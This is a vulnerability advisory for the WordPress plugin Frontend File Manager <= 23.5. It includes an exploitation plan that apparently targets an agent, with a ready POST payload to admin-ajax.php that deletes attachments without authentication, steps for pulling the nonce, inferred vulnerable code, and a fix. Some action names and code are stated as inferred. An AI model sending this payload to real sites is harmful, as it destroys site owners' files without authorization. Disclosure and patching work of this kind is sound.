Frontend File Manager <= 23.5 - Missing Authorization
Description
The Frontend File Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 23.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=23.5# Exploitation Research Plan - CVE-2026-0829 ## 1. Vulnerability Summary The **Frontend File Manager** plugin (<= 23.5) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting or managing files (inferred as `nm_uploader_remove_f…
Show full research plan
Exploitation Research Plan - CVE-2026-0829
1. Vulnerability Summary
The Frontend File Manager plugin (<= 23.5) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting or managing files (inferred as nm_uploader_remove_file_cb) is registered for both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users. The function performs a nonce check but fails to implement a capability check (e.g., current_user_can()) or ownership verification. This allows unauthenticated attackers to delete arbitrary WordPress attachments (files) if they can obtain a valid nonce.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
nm_uploader_remove_file(inferred) - HTTP Method:
POST - Parameters:
action:nm_uploader_remove_filenonce: A valid WordPress nonce for the actionnm_uploader_noncefile_id: The integer ID of the WordPress attachment to be deleted
- Authentication: Unauthenticated (via
wp_ajax_nopriv_) - Preconditions: The attacker must obtain a valid nonce, which is typically exposed on any page where the plugin's frontend shortcode is present.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX action:
add_action( 'wp_ajax_nopriv_nm_uploader_remove_file', 'nm_uploader_remove_file_cb' ); - Handler Triggered: A POST request to
admin-ajax.phpwithaction=nm_uploader_remove_filecallsnm_uploader_remove_file_cb(). - Nonce Verification: The function calls
check_ajax_referer( 'nm_uploader_nonce', 'nonce' );. This succeeds for unauthenticated users because the nonce is generated foruid=0. - Missing Check: The code proceeds to retrieve
file_idfrom$_POSTwithout verifying if the current user has themanage_optionscapability or if they are the owner of the file. - Sink: The function calls
wp_delete_attachment( $file_id, true );, permanently deleting the file and its metadata from the database and filesystem.
4. Nonce Acquisition Strategy
The plugin enqueues its scripts and localizes the required nonce on pages containing its shortcode.
- Identify Shortcode: The primary shortcode is
[nmedia-file-uploader]. - Setup Page: Use WP-CLI to create a public page containing this shortcode to ensure the scripts load.
wp post create --post_type=page --post_status=publish --post_title="File Manager" --post_content='[nmedia-file-uploader]' - Navigate and Extract:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce from the global JavaScript object localized by the plugin. - JS Variable:
window.nm_uploader_vars?.nonce(inferred from plugin naming conventions).
- Use
5. Exploitation Strategy
- Setup: Create a target attachment (e.g., an image) and note its ID.
- Nonce Retrieval:
- Create a page with
[nmedia-file-uploader]. - Access the page as an unauthenticated user.
- Extract the nonce from
nm_uploader_vars.nonce.
- Create a page with
- Execution:
- Use the
http_requesttool to send aPOSTrequest toadmin-ajax.php. - Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=nm_uploader_remove_file&nonce=[EXTRACTED_NONCE]&file_id=[TARGET_ATTACHMENT_ID]
- Use the
- Targeting: The
file_idcan be discovered via enumeration or by observing legitimate file uploads. Since it's unauthenticated, any public attachment ID is vulnerable.
6. Test Data Setup
- Plugin Installation: Ensure
nmedia-user-file-uploaderversion 23.5 is installed and active. - Create Target File:
- Upload a dummy image to the media library.
wp media import /path/to/test.png --title="Target File" --porcelain- Store the returned ID (e.g.,
123).
- Create Nonce Source:
wp post create --post_type=page --post_status=publish --post_content='[nmedia-file-uploader]'- Note the URL of this page.
7. Expected Results
- The AJAX request should return a JSON response:
{"status":"success"}or similar. - The attachment with the specified
file_idshould be removed from the WordPress database. - The file should be deleted from the
wp-content/uploads/directory.
8. Verification Steps
- Check Database: Run WP-CLI to check if the attachment exists.
Expected: Exit code 1 (False).wp post exists [TARGET_ATTACHMENT_ID] - Check Media List:
Expected: Empty result.wp post list --post_type=attachment --post__in=[TARGET_ATTACHMENT_ID]
9. Alternative Approaches
If nm_uploader_remove_file is not the correct action name for version 23.5, search for other nopriv AJAX handlers in the plugin:
grep -rn "wp_ajax_nopriv" wp-content/plugins/nmedia-user-file-uploader/
Common alternative actions in this plugin:
nm_uploader_delete_filenm_file_manager_deletenm_uploader_edit_file(if the vulnerability allows unauthorized modification)
If nm_uploader_vars is not found, inspect the page source for any wp_localize_script output containing a nonce key:
browser_eval("Object.keys(window).filter(k => k.includes('nm_'))")
Summary
The Frontend File Manager plugin for WordPress is vulnerable to unauthorized attachment deletion due to missing capability checks in its AJAX handlers. Unauthenticated attackers can obtain a valid security nonce from the plugin's frontend shortcode and use it to delete arbitrary WordPress attachments by targeting their IDs.
Vulnerable Code
// Inferred registration of AJAX hooks in version 23.5 add_action( 'wp_ajax_nm_uploader_remove_file', 'nm_uploader_remove_file_cb' ); add_action( 'wp_ajax_nopriv_nm_uploader_remove_file', 'nm_uploader_remove_file_cb' ); // Inferred callback logic lacking authorization function nm_uploader_remove_file_cb() { // Nonce verification passes for unauthenticated users if nonce was generated for UID 0 check_ajax_referer( 'nm_uploader_nonce', 'nonce' ); $file_id = intval( $_POST['file_id'] ); // Missing capability check (e.g., current_user_can) // and missing ownership check before proceeding to deletion wp_delete_attachment( $file_id, true ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,12 @@ function nm_uploader_remove_file_cb() { check_ajax_referer( 'nm_uploader_nonce', 'nonce' ); $file_id = intval( $_POST['file_id'] ); + + // Verify the user has permission to delete this specific attachment + if ( ! current_user_can( 'delete_post', $file_id ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized access' ) ); + wp_die(); + } + wp_delete_attachment( $file_id, true ); wp_send_json_success(); }
Exploit Outline
1. Locate a WordPress site running Frontend File Manager <= 23.5 with a page containing the [nmedia-file-uploader] shortcode. 2. Visit the page as an unauthenticated user and extract the 'nm_uploader_nonce' from the localized JavaScript variable 'nm_uploader_vars.nonce'. 3. Identify the ID of a target attachment (media file) to be deleted. 4. Send a POST request to /wp-admin/admin-ajax.php with the action 'nm_uploader_remove_file', the extracted nonce, and the target 'file_id'. 5. The server processes the request and deletes the specified attachment because it fails to verify if the unauthenticated user has the 'delete_post' capability for that ID.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.